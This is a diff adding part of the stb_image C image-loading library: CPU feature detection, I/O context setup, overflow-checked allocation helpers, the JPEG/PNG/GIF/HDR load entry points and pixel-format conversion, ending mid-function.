+// 32-bit MinGW wants ESP to be 16-byte aligned, but this is not in the
+// Windows ABI and VC++ as well as Windows DLLs don't maintain that invariant.
+// As a result, enabling SSE2 on 32-bit MinGW is dangerous when not
+// simultaneously enabling "-mstackrealign".
+//
+// See https://github.com/nothings/stb/issues/81 for more information.
+//
+// So default to no SSE2 on 32-bit MinGW. If you've read this far and added
+// -mstackrealign to your build settings, feel free to #define STBI_MINGW_ENABLE_SSE2.
+#define STBI_NO_SIMD
+#endif
+
+#if !defined(STBI_NO_SIMD) && (defined(STBI__X86_TARGET) || defined(STBI__X64_TARGET))
+#define STBI_SSE2
+#include <emmintrin.h>
+
+#ifdef _MSC_VER
+
+#if _MSC_VER >= 1400  // not VC6
+#include <intrin.h> // __cpuid
+static int stbi__cpuid3(void)
+{
+   int info[4];
+   __cpuid(info,1);
+   return info[3];
+}
+#else
+static int stbi__cpuid3(void)
+{
+   int res;
+   __asm {
+      mov  eax,1
+      cpuid
+      mov  res,edx
+   }
+   return res;
+}
+#endif
+
+#define STBI_SIMD_ALIGN(type, name) __declspec(align(16)) type name
+
+static int stbi__sse2_available(void)
+{
+   int info3 = stbi__cpuid3();
+   return ((info3 >> 26) & 1) != 0;
+}
+#else // assume GCC-style if not VC++
+#define STBI_SIMD_ALIGN(type, name) type name __attribute__((aligned(16)))
+
+static int stbi__sse2_available(void)
+{
+   // If we're even attempting to compile this on GCC/Clang, that means
+   // -msse2 is on, which means the compiler is allowed to use SSE2
+   // instructions at will, and so are we.
+   return 1;
+}
+#endif
+#endif
+
+// ARM NEON
+#if defined(STBI_NO_SIMD) && defined(STBI_NEON)
+#undef STBI_NEON
+#endif
+
+#ifdef STBI_NEON
+#include <arm_neon.h>
+// assume GCC or Clang on ARM targets
+#define STBI_SIMD_ALIGN(type, name) type name __attribute__((aligned(16)))
+#endif
+
+#ifndef STBI_SIMD_ALIGN
+#define STBI_SIMD_ALIGN(type, name) type name
+#endif
+
+///////////////////////////////////////////////
+//
+//  stbi__context struct and start_xxx functions
+
+// stbi__context structure is our basic context used by all images, so it
+// contains all the IO context, plus some basic image information
+typedef struct
+{
+   stbi__uint32 img_x, img_y;
+   int img_n, img_out_n;
+
+   stbi_io_callbacks io;
+   void *io_user_data;
+
+   int read_from_callbacks;
+   int buflen;
+   stbi_uc buffer_start[128];
+
+   stbi_uc *img_buffer, *img_buffer_end;
+   stbi_uc *img_buffer_original, *img_buffer_original_end;
+} stbi__context;
+
+
+static void stbi__refill_buffer(stbi__context *s);
+
+// initialize a memory-decode context
+static void stbi__start_mem(stbi__context *s, stbi_uc const *buffer, int len)
+{
+   s->io.read = NULL;
+   s->read_from_callbacks = 0;
+   s->img_buffer = s->img_buffer_original = (stbi_uc *) buffer;
+   s->img_buffer_end = s->img_buffer_original_end = (stbi_uc *) buffer+len;
+}
+
+// initialize a callback-based context
+static void stbi__start_callbacks(stbi__context *s, stbi_io_callbacks *c, void *user)
+{
+   s->io = *c;
+   s->io_user_data = user;
+   s->buflen = sizeof(s->buffer_start);
+   s->read_from_callbacks = 1;
+   s->img_buffer_original = s->buffer_start;
+   stbi__refill_buffer(s);
+   s->img_buffer_original_end = s->img_buffer_end;
+}
+
+#ifndef STBI_NO_STDIO
+
+static int stbi__stdio_read(void *user, char *data, int size)
+{
+   return (int) fread(data,1,size,(FILE*) user);
+}
+
+static void stbi__stdio_skip(void *user, int n)
+{
+   fseek((FILE*) user, n, SEEK_CUR);
+}
+
+static int stbi__stdio_eof(void *user)
+{
+   return feof((FILE*) user);
+}
+
+static stbi_io_callbacks stbi__stdio_callbacks =
+{
+   stbi__stdio_read,
+   stbi__stdio_skip,
+   stbi__stdio_eof,
+};
+
+static void stbi__start_file(stbi__context *s, FILE *f)
+{
+   stbi__start_callbacks(s, &stbi__stdio_callbacks, (void *) f);
+}
+
+//static void stop_file(stbi__context *s) { }
+
+#endif // !STBI_NO_STDIO
+
+static void stbi__rewind(stbi__context *s)
+{
+   // conceptually rewind SHOULD rewind to the beginning of the stream,
+   // but we just rewind to the beginning of the initial buffer, because
+   // we only use it after doing 'test', which only ever looks at at most 92 bytes
+   s->img_buffer = s->img_buffer_original;
+   s->img_buffer_end = s->img_buffer_original_end;
+}
+
+enum
+{
+   STBI_ORDER_RGB,
+   STBI_ORDER_BGR
+};
+
+typedef struct
+{
+   int bits_per_channel;
+   int num_channels;
+   int channel_order;
+} stbi__result_info;
+
+#ifndef STBI_NO_JPEG
+static int      stbi__jpeg_test(stbi__context *s);
+static void    *stbi__jpeg_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__jpeg_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_PNG
+static int      stbi__png_test(stbi__context *s);
+static void    *stbi__png_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__png_info(stbi__context *s, int *x, int *y, int *comp);
+static int      stbi__png_is16(stbi__context *s);
+#endif
+
+#ifndef STBI_NO_BMP
+static int      stbi__bmp_test(stbi__context *s);
+static void    *stbi__bmp_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__bmp_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_TGA
+static int      stbi__tga_test(stbi__context *s);
+static void    *stbi__tga_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__tga_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_PSD
+static int      stbi__psd_test(stbi__context *s);
+static void    *stbi__psd_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri, int bpc);
+static int      stbi__psd_info(stbi__context *s, int *x, int *y, int *comp);
+static int      stbi__psd_is16(stbi__context *s);
+#endif
+
+#ifndef STBI_NO_HDR
+static int      stbi__hdr_test(stbi__context *s);
+static float   *stbi__hdr_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__hdr_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_PIC
+static int      stbi__pic_test(stbi__context *s);
+static void    *stbi__pic_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__pic_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_GIF
+static int      stbi__gif_test(stbi__context *s);
+static void    *stbi__gif_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static void    *stbi__load_gif_main(stbi__context *s, int **delays, int *x, int *y, int *z, int *comp, int req_comp);
+static int      stbi__gif_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+#ifndef STBI_NO_PNM
+static int      stbi__pnm_test(stbi__context *s);
+static void    *stbi__pnm_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri);
+static int      stbi__pnm_info(stbi__context *s, int *x, int *y, int *comp);
+#endif
+
+// this is not threadsafe
+static const char *stbi__g_failure_reason;
+
+STBIDEF const char *stbi_failure_reason(void)
+{
+   return stbi__g_failure_reason;
+}
+
+static int stbi__err(const char *str)
+{
+   stbi__g_failure_reason = str;
+   return 0;
+}
+
+static void *stbi__malloc(size_t size)
+{
+    return STBI_MALLOC(size);
+}
+
+// stb_image uses ints pervasively, including for offset calculations.
+// therefore the largest decoded image size we can support with the
+// current code, even on 64-bit targets, is INT_MAX. this is not a
+// significant limitation for the intended use case.
+//
+// we do, however, need to make sure our size calculations don't
+// overflow. hence a few helper functions for size calculations that
+// multiply integers together, making sure that they're non-negative
+// and no overflow occurs.
+
+// return 1 if the sum is valid, 0 on overflow.
+// negative terms are considered invalid.
+static int stbi__addsizes_valid(int a, int b)
+{
+   if (b < 0) return 0;
+   // now 0 <= b <= INT_MAX, hence also
+   // 0 <= INT_MAX - b <= INTMAX.
+   // And "a + b <= INT_MAX" (which might overflow) is the
+   // same as a <= INT_MAX - b (no overflow)
+   return a <= INT_MAX - b;
+}
+
+// returns 1 if the product is valid, 0 on overflow.
+// negative factors are considered invalid.
+static int stbi__mul2sizes_valid(int a, int b)
+{
+   if (a < 0 || b < 0) return 0;
+   if (b == 0) return 1; // mul-by-0 is always safe
+   // portable way to check for no overflows in a*b
+   return a <= INT_MAX/b;
+}
+
+// returns 1 if "a*b + add" has no negative terms/factors and doesn't overflow
+static int stbi__mad2sizes_valid(int a, int b, int add)
+{
+   return stbi__mul2sizes_valid(a, b) && stbi__addsizes_valid(a*b, add);
+}
+
+// returns 1 if "a*b*c + add" has no negative terms/factors and doesn't overflow
+static int stbi__mad3sizes_valid(int a, int b, int c, int add)
+{
+   return stbi__mul2sizes_valid(a, b) && stbi__mul2sizes_valid(a*b, c) &&
+      stbi__addsizes_valid(a*b*c, add);
+}
+
+// returns 1 if "a*b*c*d + add" has no negative terms/factors and doesn't overflow
+#if !defined(STBI_NO_LINEAR) || !defined(STBI_NO_HDR)
+static int stbi__mad4sizes_valid(int a, int b, int c, int d, int add)
+{
+   return stbi__mul2sizes_valid(a, b) && stbi__mul2sizes_valid(a*b, c) &&
+      stbi__mul2sizes_valid(a*b*c, d) && stbi__addsizes_valid(a*b*c*d, add);
+}
+#endif
+
+// mallocs with size overflow checking
+static void *stbi__malloc_mad2(int a, int b, int add)
+{
+   if (!stbi__mad2sizes_valid(a, b, add)) return NULL;
+   return stbi__malloc(a*b + add);
+}
+
+static void *stbi__malloc_mad3(int a, int b, int c, int add)
+{
+   if (!stbi__mad3sizes_valid(a, b, c, add)) return NULL;
+   return stbi__malloc(a*b*c + add);
+}
+
+#if !defined(STBI_NO_LINEAR) || !defined(STBI_NO_HDR)
+static void *stbi__malloc_mad4(int a, int b, int c, int d, int add)
+{
+   if (!stbi__mad4sizes_valid(a, b, c, d, add)) return NULL;
+   return stbi__malloc(a*b*c*d + add);
+}
+#endif
+
+// stbi__err - error
+// stbi__errpf - error returning pointer to float
+// stbi__errpuc - error returning pointer to unsigned char
+
+#ifdef STBI_NO_FAILURE_STRINGS
+   #define stbi__err(x,y)  0
+#elif defined(STBI_FAILURE_USERMSG)
+   #define stbi__err(x,y)  stbi__err(y)
+#else
+   #define stbi__err(x,y)  stbi__err(x)
+#endif
+
+#define stbi__errpf(x,y)   ((float *)(size_t) (stbi__err(x,y)?NULL:NULL))
+#define stbi__errpuc(x,y)  ((unsigned char *)(size_t) (stbi__err(x,y)?NULL:NULL))
+
+STBIDEF void stbi_image_free(void *retval_from_stbi_load)
+{
+   STBI_FREE(retval_from_stbi_load);
+}
+
+#ifndef STBI_NO_LINEAR
+static float   *stbi__ldr_to_hdr(stbi_uc *data, int x, int y, int comp);
+#endif
+
+#ifndef STBI_NO_HDR
+static stbi_uc *stbi__hdr_to_ldr(float   *data, int x, int y, int comp);
+#endif
+
+static int stbi__vertically_flip_on_load = 0;
+
+STBIDEF void stbi_set_flip_vertically_on_load(int flag_true_if_should_flip)
+{
+    stbi__vertically_flip_on_load = flag_true_if_should_flip;
+}
+
+static void *stbi__load_main(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri, int bpc)
+{
+   memset(ri, 0, sizeof(*ri)); // make sure it's initialized if we add new fields
+   ri->bits_per_channel = 8; // default is 8 so most paths don't have to be changed
+   ri->channel_order = STBI_ORDER_RGB; // all current input & output are this, but this is here so we can add BGR order
+   ri->num_channels = 0;
+
+   #ifndef STBI_NO_JPEG
+   if (stbi__jpeg_test(s)) return stbi__jpeg_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_PNG
+   if (stbi__png_test(s))  return stbi__png_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_BMP
+   if (stbi__bmp_test(s))  return stbi__bmp_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_GIF
+   if (stbi__gif_test(s))  return stbi__gif_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_PSD
+   if (stbi__psd_test(s))  return stbi__psd_load(s,x,y,comp,req_comp, ri, bpc);
+   #endif
+   #ifndef STBI_NO_PIC
+   if (stbi__pic_test(s))  return stbi__pic_load(s,x,y,comp,req_comp, ri);
+   #endif
+   #ifndef STBI_NO_PNM
+   if (stbi__pnm_test(s))  return stbi__pnm_load(s,x,y,comp,req_comp, ri);
+   #endif
+
+   #ifndef STBI_NO_HDR
+   if (stbi__hdr_test(s)) {
+      float *hdr = stbi__hdr_load(s, x,y,comp,req_comp, ri);
+      return stbi__hdr_to_ldr(hdr, *x, *y, req_comp ? req_comp : *comp);
+   }
+   #endif
+
+   #ifndef STBI_NO_TGA
+   // test tga last because it's a crappy test!
+   if (stbi__tga_test(s))
+      return stbi__tga_load(s,x,y,comp,req_comp, ri);
+   #endif
+
+   return stbi__errpuc("unknown image type", "Image not of any known type, or corrupt");
+}
+
+static stbi_uc *stbi__convert_16_to_8(stbi__uint16 *orig, int w, int h, int channels)
+{
+   int i;
+   int img_len = w * h * channels;
+   stbi_uc *reduced;
+
+   reduced = (stbi_uc *) stbi__malloc(img_len);
+   if (reduced == NULL) return stbi__errpuc("outofmem", "Out of memory");
+
+   for (i = 0; i < img_len; ++i)
+      reduced[i] = (stbi_uc)((orig[i] >> 8) & 0xFF); // top half of each byte is sufficient approx of 16->8 bit scaling
+
+   STBI_FREE(orig);
+   return reduced;
+}
+
+static stbi__uint16 *stbi__convert_8_to_16(stbi_uc *orig, int w, int h, int channels)
+{
+   int i;
+   int img_len = w * h * channels;
+   stbi__uint16 *enlarged;
+
+   enlarged = (stbi__uint16 *) stbi__malloc(img_len*2);
+   if (enlarged == NULL) return (stbi__uint16 *) stbi__errpuc("outofmem", "Out of memory");
+
+   for (i = 0; i < img_len; ++i)
+      enlarged[i] = (stbi__uint16)((orig[i] << 8) + orig[i]); // replicate to high and low byte, maps 0->0, 255->0xffff
+
+   STBI_FREE(orig);
+   return enlarged;
+}
+
+static void stbi__vertical_flip(void *image, int w, int h, int bytes_per_pixel)
+{
+   int row;
+   size_t bytes_per_row = (size_t)w * bytes_per_pixel;
+   stbi_uc temp[2048];
+   stbi_uc *bytes = (stbi_uc *)image;
+
+   for (row = 0; row < (h>>1); row++) {
+      stbi_uc *row0 = bytes + row*bytes_per_row;
+      stbi_uc *row1 = bytes + (h - row - 1)*bytes_per_row;
+      // swap row0 with row1
+      size_t bytes_left = bytes_per_row;
+      while (bytes_left) {
+         size_t bytes_copy = (bytes_left < sizeof(temp)) ? bytes_left : sizeof(temp);
+         memcpy(temp, row0, bytes_copy);
+         memcpy(row0, row1, bytes_copy);
+         memcpy(row1, temp, bytes_copy);
+         row0 += bytes_copy;
+         row1 += bytes_copy;
+         bytes_left -= bytes_copy;
+      }
+   }
+}
+
+static void stbi__vertical_flip_slices(void *image, int w, int h, int z, int bytes_per_pixel)
+{
+   int slice;
+   int slice_size = w * h * bytes_per_pixel;
+
+   stbi_uc *bytes = (stbi_uc *)image;
+   for (slice = 0; slice < z; ++slice) {
+      stbi__vertical_flip(bytes, w, h, bytes_per_pixel); 
+      bytes += slice_size; 
+   }
+}
+
+static unsigned char *stbi__load_and_postprocess_8bit(stbi__context *s, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__result_info ri;
+   void *result = stbi__load_main(s, x, y, comp, req_comp, &ri, 8);
+
+   if (result == NULL)
+      return NULL;
+
+   if (ri.bits_per_channel != 8) {
+      STBI_ASSERT(ri.bits_per_channel == 16);
+      result = stbi__convert_16_to_8((stbi__uint16 *) result, *x, *y, req_comp == 0 ? *comp : req_comp);
+      ri.bits_per_channel = 8;
+   }
+
+   // @TODO: move stbi__convert_format to here
+
+   if (stbi__vertically_flip_on_load) {
+      int channels = req_comp ? req_comp : *comp;
+      stbi__vertical_flip(result, *x, *y, channels * sizeof(stbi_uc));
+   }
+
+   return (unsigned char *) result;
+}
+
+static stbi__uint16 *stbi__load_and_postprocess_16bit(stbi__context *s, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__result_info ri;
+   void *result = stbi__load_main(s, x, y, comp, req_comp, &ri, 16);
+
+   if (result == NULL)
+      return NULL;
+
+   if (ri.bits_per_channel != 16) {
+      STBI_ASSERT(ri.bits_per_channel == 8);
+      result = stbi__convert_8_to_16((stbi_uc *) result, *x, *y, req_comp == 0 ? *comp : req_comp);
+      ri.bits_per_channel = 16;
+   }
+
+   // @TODO: move stbi__convert_format16 to here
+   // @TODO: special case RGB-to-Y (and RGBA-to-YA) for 8-bit-to-16-bit case to keep more precision
+
+   if (stbi__vertically_flip_on_load) {
+      int channels = req_comp ? req_comp : *comp;
+      stbi__vertical_flip(result, *x, *y, channels * sizeof(stbi__uint16));
+   }
+
+   return (stbi__uint16 *) result;
+}
+
+#if !defined(STBI_NO_HDR) || !defined(STBI_NO_LINEAR)
+static void stbi__float_postprocess(float *result, int *x, int *y, int *comp, int req_comp)
+{
+   if (stbi__vertically_flip_on_load && result != NULL) {
+      int channels = req_comp ? req_comp : *comp;
+      stbi__vertical_flip(result, *x, *y, channels * sizeof(float));
+   }
+}
+#endif
+
+#ifndef STBI_NO_STDIO
+
+static FILE *stbi__fopen(char const *filename, char const *mode)
+{
+   FILE *f;
+#if defined(_MSC_VER) && _MSC_VER >= 1400
+   if (0 != fopen_s(&f, filename, mode))
+      f=0;
+#else
+   f = fopen(filename, mode);
+#endif
+   return f;
+}
+
+
+STBIDEF stbi_uc *stbi_load(char const *filename, int *x, int *y, int *comp, int req_comp)
+{
+   FILE *f = stbi__fopen(filename, "rb");
+   unsigned char *result;
+   if (!f) return stbi__errpuc("can't fopen", "Unable to open file");
+   result = stbi_load_from_file(f,x,y,comp,req_comp);
+   fclose(f);
+   return result;
+}
+
+STBIDEF stbi_uc *stbi_load_from_file(FILE *f, int *x, int *y, int *comp, int req_comp)
+{
+   unsigned char *result;
+   stbi__context s;
+   stbi__start_file(&s,f);
+   result = stbi__load_and_postprocess_8bit(&s,x,y,comp,req_comp);
+   if (result) {
+      // need to 'unget' all the characters in the IO buffer
+      fseek(f, - (int) (s.img_buffer_end - s.img_buffer), SEEK_CUR);
+   }
+   return result;
+}
+
+STBIDEF stbi__uint16 *stbi_load_from_file_16(FILE *f, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__uint16 *result;
+   stbi__context s;
+   stbi__start_file(&s,f);
+   result = stbi__load_and_postprocess_16bit(&s,x,y,comp,req_comp);
+   if (result) {
+      // need to 'unget' all the characters in the IO buffer
+      fseek(f, - (int) (s.img_buffer_end - s.img_buffer), SEEK_CUR);
+   }
+   return result;
+}
+
+STBIDEF stbi_us *stbi_load_16(char const *filename, int *x, int *y, int *comp, int req_comp)
+{
+   FILE *f = stbi__fopen(filename, "rb");
+   stbi__uint16 *result;
+   if (!f) return (stbi_us *) stbi__errpuc("can't fopen", "Unable to open file");
+   result = stbi_load_from_file_16(f,x,y,comp,req_comp);
+   fclose(f);
+   return result;
+}
+
+
+#endif //!STBI_NO_STDIO
+
+STBIDEF stbi_us *stbi_load_16_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *channels_in_file, int desired_channels)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__load_and_postprocess_16bit(&s,x,y,channels_in_file,desired_channels);
+}
+
+STBIDEF stbi_us *stbi_load_16_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *channels_in_file, int desired_channels)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *)clbk, user);
+   return stbi__load_and_postprocess_16bit(&s,x,y,channels_in_file,desired_channels);
+}
+
+STBIDEF stbi_uc *stbi_load_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__load_and_postprocess_8bit(&s,x,y,comp,req_comp);
+}
+
+STBIDEF stbi_uc *stbi_load_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) clbk, user);
+   return stbi__load_and_postprocess_8bit(&s,x,y,comp,req_comp);
+}
+
+#ifndef STBI_NO_GIF
+STBIDEF stbi_uc *stbi_load_gif_from_memory(stbi_uc const *buffer, int len, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
+{
+   unsigned char *result;
+   stbi__context s; 
+   stbi__start_mem(&s,buffer,len); 
+   
+   result = (unsigned char*) stbi__load_gif_main(&s, delays, x, y, z, comp, req_comp);
+   if (stbi__vertically_flip_on_load) {
+      stbi__vertical_flip_slices( result, *x, *y, *z, *comp ); 
+   }
+
+   return result; 
+}
+#endif
+
+#ifndef STBI_NO_LINEAR
+static float *stbi__loadf_main(stbi__context *s, int *x, int *y, int *comp, int req_comp)
+{
+   unsigned char *data;
+   #ifndef STBI_NO_HDR
+   if (stbi__hdr_test(s)) {
+      stbi__result_info ri;
+      float *hdr_data = stbi__hdr_load(s,x,y,comp,req_comp, &ri);
+      if (hdr_data)
+         stbi__float_postprocess(hdr_data,x,y,comp,req_comp);
+      return hdr_data;
+   }
+   #endif
+   data = stbi__load_and_postprocess_8bit(s, x, y, comp, req_comp);
+   if (data)
+      return stbi__ldr_to_hdr(data, *x, *y, req_comp ? req_comp : *comp);
+   return stbi__errpf("unknown image type", "Image not of any known type, or corrupt");
+}
+
+STBIDEF float *stbi_loadf_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__loadf_main(&s,x,y,comp,req_comp);
+}
+
+STBIDEF float *stbi_loadf_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) clbk, user);
+   return stbi__loadf_main(&s,x,y,comp,req_comp);
+}
+
+#ifndef STBI_NO_STDIO
+STBIDEF float *stbi_loadf(char const *filename, int *x, int *y, int *comp, int req_comp)
+{
+   float *result;
+   FILE *f = stbi__fopen(filename, "rb");
+   if (!f) return stbi__errpf("can't fopen", "Unable to open file");
+   result = stbi_loadf_from_file(f,x,y,comp,req_comp);
+   fclose(f);
+   return result;
+}
+
+STBIDEF float *stbi_loadf_from_file(FILE *f, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_file(&s,f);
+   return stbi__loadf_main(&s,x,y,comp,req_comp);
+}
+#endif // !STBI_NO_STDIO
+
+#endif // !STBI_NO_LINEAR
+
+// these is-hdr-or-not is defined independent of whether STBI_NO_LINEAR is
+// defined, for API simplicity; if STBI_NO_LINEAR is defined, it always
+// reports false!
+
+STBIDEF int stbi_is_hdr_from_memory(stbi_uc const *buffer, int len)
+{
+   #ifndef STBI_NO_HDR
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__hdr_test(&s);
+   #else
+   STBI_NOTUSED(buffer);
+   STBI_NOTUSED(len);
+   return 0;
+   #endif
+}
+
+#ifndef STBI_NO_STDIO
+STBIDEF int      stbi_is_hdr          (char const *filename)
+{
+   FILE *f = stbi__fopen(filename, "rb");
+   int result=0;
+   if (f) {
+      result = stbi_is_hdr_from_file(f);
+      fclose(f);
+   }
+   return result;
+}
+
+STBIDEF int stbi_is_hdr_from_file(FILE *f)
+{
+   #ifndef STBI_NO_HDR
+   long pos = ftell(f);
+   int res;
+   stbi__context s;
+   stbi__start_file(&s,f);
+   res = stbi__hdr_test(&s);
+   fseek(f, pos, SEEK_SET);
+   return res;
+   #else
+   STBI_NOTUSED(f);
+   return 0;
+   #endif
+}
+#endif // !STBI_NO_STDIO
+
+STBIDEF int      stbi_is_hdr_from_callbacks(stbi_io_callbacks const *clbk, void *user)
+{
+   #ifndef STBI_NO_HDR
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) clbk, user);
+   return stbi__hdr_test(&s);
+   #else
+   STBI_NOTUSED(clbk);
+   STBI_NOTUSED(user);
+   return 0;
+   #endif
+}
+
+#ifndef STBI_NO_LINEAR
+static float stbi__l2h_gamma=2.2f, stbi__l2h_scale=1.0f;
+
+STBIDEF void   stbi_ldr_to_hdr_gamma(float gamma) { stbi__l2h_gamma = gamma; }
+STBIDEF void   stbi_ldr_to_hdr_scale(float scale) { stbi__l2h_scale = scale; }
+#endif
+
+static float stbi__h2l_gamma_i=1.0f/2.2f, stbi__h2l_scale_i=1.0f;
+
+STBIDEF void   stbi_hdr_to_ldr_gamma(float gamma) { stbi__h2l_gamma_i = 1/gamma; }
+STBIDEF void   stbi_hdr_to_ldr_scale(float scale) { stbi__h2l_scale_i = 1/scale; }
+
+
+//////////////////////////////////////////////////////////////////////////////
+//
+// Common code used by all image loaders
+//
+
+enum
+{
+   STBI__SCAN_load=0,
+   STBI__SCAN_type,
+   STBI__SCAN_header
+};
+
+static void stbi__refill_buffer(stbi__context *s)
+{
+   int n = (s->io.read)(s->io_user_data,(char*)s->buffer_start,s->buflen);
+   if (n == 0) {
+      // at end of file, treat same as if from memory, but need to handle case
+      // where s->img_buffer isn't pointing to safe memory, e.g. 0-byte file
+      s->read_from_callbacks = 0;
+      s->img_buffer = s->buffer_start;
+      s->img_buffer_end = s->buffer_start+1;
+      *s->img_buffer = 0;
+   } else {
+      s->img_buffer = s->buffer_start;
+      s->img_buffer_end = s->buffer_start + n;
+   }
+}
+
+stbi_inline static stbi_uc stbi__get8(stbi__context *s)
+{
+   if (s->img_buffer < s->img_buffer_end)
+      return *s->img_buffer++;
+   if (s->read_from_callbacks) {
+      stbi__refill_buffer(s);
+      return *s->img_buffer++;
+   }
+   return 0;
+}
+
+stbi_inline static int stbi__at_eof(stbi__context *s)
+{
+   if (s->io.read) {
+      if (!(s->io.eof)(s->io_user_data)) return 0;
+      // if feof() is true, check if buffer = end
+      // special case: we've only got the special 0 character at the end
+      if (s->read_from_callbacks == 0) return 1;
+   }
+
+   return s->img_buffer >= s->img_buffer_end;
+}
+
+static void stbi__skip(stbi__context *s, int n)
+{
+   if (n < 0) {
+      s->img_buffer = s->img_buffer_end;
+      return;
+   }
+   if (s->io.read) {
+      int blen = (int) (s->img_buffer_end - s->img_buffer);
+      if (blen < n) {
+         s->img_buffer = s->img_buffer_end;
+         (s->io.skip)(s->io_user_data, n - blen);
+         return;
+      }
+   }
+   s->img_buffer += n;
+}
+
+static int stbi__getn(stbi__context *s, stbi_uc *buffer, int n)
+{
+   if (s->io.read) {
+      int blen = (int) (s->img_buffer_end - s->img_buffer);
+      if (blen < n) {
+         int res, count;
+
+         memcpy(buffer, s->img_buffer, blen);
+
+         count = (s->io.read)(s->io_user_data, (char*) buffer + blen, n - blen);
+         res = (count == (n-blen));
+         s->img_buffer = s->img_buffer_end;
+         return res;
+      }
+   }
+
+   if (s->img_buffer+n <= s->img_buffer_end) {
+      memcpy(buffer, s->img_buffer, n);
+      s->img_buffer += n;
+      return 1;
+   } else
+      return 0;
+}
+
+static int stbi__get16be(stbi__context *s)
+{
+   int z = stbi__get8(s);
+   return (z << 8) + stbi__get8(s);
+}
+
+static stbi__uint32 stbi__get32be(stbi__context *s)
+{
+   stbi__uint32 z = stbi__get16be(s);
+   return (z << 16) + stbi__get16be(s);
+}
+
+#if defined(STBI_NO_BMP) && defined(STBI_NO_TGA) && defined(STBI_NO_GIF)
+// nothing
+#else
+static int stbi__get16le(stbi__context *s)
+{
+   int z = stbi__get8(s);
+   return z + (stbi__get8(s) << 8);
+}
+#endif
+
+#ifndef STBI_NO_BMP
+static stbi__uint32 stbi__get32le(stbi__context *s)
+{
+   stbi__uint32 z = stbi__get16le(s);
+   return z + (stbi__get16le(s) << 16);
+}
+#endif
+
+#define STBI__BYTECAST(x)  ((stbi_uc) ((x) & 255))  // truncate int to byte without warnings
+
+
+//////////////////////////////////////////////////////////////////////////////
+//
+//  generic converter from built-in img_n to req_comp
+//    individual types do this automatically as much as possible (e.g. jpeg
+//    does all cases internally since it needs to colorspace convert anyway,
+//    and it never has alpha, so very few cases ). png can automatically
+//    interleave an alpha=255 channel, but falls back to this for other cases
+//
+//  assume data buffer is malloced, so malloc a new one and free that one
+//  only failure mode is malloc failing
+
+static stbi_uc stbi__compute_y(int r, int g, int b)
+{
+   return (stbi_uc) (((r*77) + (g*150) +  (29*b)) >> 8);
+}
+
+static unsigned char *stbi__convert_format(unsigned char *data, int img_n, int req_comp, unsigned int x, unsigned int y)
+{
+   int i,j;
+   unsigned char *good;
+
+   if (req_comp == img_n) return data;
+   STBI_ASSERT(req_comp >= 1 && req_comp <= 4);
+
+   good = (unsigned char *) stbi__malloc_mad3(req_comp, x, y, 0);
+   if (good == NULL) {
+      STBI_FREE(data);
+      return stbi__errpuc("outofmem", "Out of memory");
+   }
+
+   for (j=0; j < (int) y; ++j) {
+      unsigned char *src  = data + j * x * img_n   ;
+      unsigned char *dest = good + j * x * req_comp;
+
+      #define STBI__COMBO(a,b)  ((a)*8+(b))
+      #define STBI__CASE(a,b)   case STBI__COMBO(a,b): for(i=x-1; i >= 0; --i, src += a, dest += b)
+      // convert source image with img_n components to one with req_comp components;
+      // avoid switch per pixel, so use switch per scanline and massive macros
+      switch (STBI__COMBO(img_n, req_comp)) {
+         STBI__CASE(1,2) { dest[0]=src[0], dest[1]=255;                                     } break;
+         STBI__CASE(1,3) { dest[0]=dest[1]=dest[2]=src[0];                                  } break;
+         STBI__CASE(1,4) { dest[0]=dest[1]=dest[2]=src[0], dest[3]=255;                     } break;
+         STBI__CASE(2,1) { dest[0]=src[0];                                                  } break;
+         STBI__CASE(2,3) { dest[0]=dest[1]=dest[2]=src[0];                                  } break;
